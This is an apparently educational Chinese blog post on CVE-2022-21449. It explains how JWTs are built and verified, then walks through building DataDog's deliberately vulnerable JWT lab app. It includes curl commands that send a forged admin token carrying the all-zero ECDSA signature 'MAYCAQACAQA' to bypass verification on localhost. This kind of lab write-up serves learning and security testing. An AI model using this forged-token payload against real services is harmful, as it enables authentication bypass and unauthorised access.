「You Shall Not Pass! 」《魔戒》

• 第22天要來針對 CVE-2022-21449 的實際可以被套用來攻擊的環境做架設，那攻擊的情境主要會發生在 JWT Token 上面。但首先要還是要大概了解一下 JWT Token 的機制。

• JWT Token 可以用來儲存使用者的相關資訊。用法是當使用者身分驗證成功後，伺服器會核發一個 JWT Token 回給使用者。之後使用者就帶著 JWT Token 來進行驗證，如果這個 JWT Token 是有效的，那就能夠獲取資源。這樣的好處在於 JWT Token 內可以存放一些使用者資訊，而無需由伺服器進行儲存。至於要怎麼存要稍微看一下 JWT Token 的資料結構。

• JWT Token 由三段 JSON 所組成，透過 Base64URLEndoe 之後使用 . 來分隔開，長相大概會是 xxxx.yyyy.zzzz。 其中 xxxx 會描敘該 JWT Token 使用的使用的密碼學演算法，yyyy 則可以包含使用者資料， zzzz 則是一個 Signature，依照 xxxx 定義的演算法來驗證 yyyy 的資料是否正確。

• 那為何需要驗證 yyyy 的資料呢? 因為有可能這個 JWT Token 遭受使用者惡意竄改，對中間的 yyyy 進行資料上的調整，這樣子就無法確保收到的 JWT Token 是由伺服器所發出。這時候就會用到簽章、驗章的概念。當伺服器發出 JWT Token 時已經透過私鑰做了簽章動作，當再次收到 JWT Token 就用公鑰進行驗章，確保收到 JWT Token 是合法的。

• 講到這邊可以練習使用 JSON Web Tokens Debugger 來試試看製作 JWT Token 的效果。

• 這邊要注意的是格式是使用 base64URLEncode 而非 Base64Encode，兩者還是有些差別的。如果要自己進行 decode 的話，可以參考 How to encode and decode data in base64 and base64URL by using unix commands。

base64url=''
echo "$base64url"==== | fold -w 4 | sed '$ d' | tr -d '\n' | tr '_-' '/+' | base64 -d

• 接著要建立出有弱點的 JWT 專案出來使用，專案部分則是參考 jwt-null-signature-vulnerable-app。

步驟如下 :

1. git clone https://github.com/DataDog/security-labs-pocs.git
2. cd security-labs-pocs/proof-of-concept-exploits/jwt-null-signature-vulnerable-app/
3. 調整 build.gradle 裡面的 sourceCompatibility = '16'
4. 連到 Gradle 官網 下載 Gradle
5. 解壓縮後，將資料夾下的 bin 路徑設定到 ~/.bashrc 裡面
6. 登出重新連線或是用 source 指令引入
7. gradle bootJar --no-daemon # 從 Dockerfile 抄來的
8. java -version # 確認一下使用的版本，如果不對的話要切換
9. 編譯完成後執行該 jar 檔案
10. 透過指令進行測試

curl localhost:8080 -sSL -D-

JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg
curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"

JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA
curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"

• 這邊最後帶著 MAYCAQACAQA 就是之前說的 (r,s) = (0,0) 的 Signature，但詳細怎麼產出來的可以參考 Encoding Neil Madden's Psychic Signatures ，但原理蠻複雜的，就交給有興趣的各位研究。這個特殊的 Signature 也是 OWASP Testing JSON Web Tokens 有特別提到需要測試的項目，所以蠻值得參考一下的。

• 呼~~ 這個數學弱點大概就到這邊了，主要就是透過它學習了橢圓曲線的運算、橢圓曲線的簽章運算、費馬最小定理的運用、JWT Token 的運作機制等等...，還算是一個可以學到蠻多東西的數學漏洞。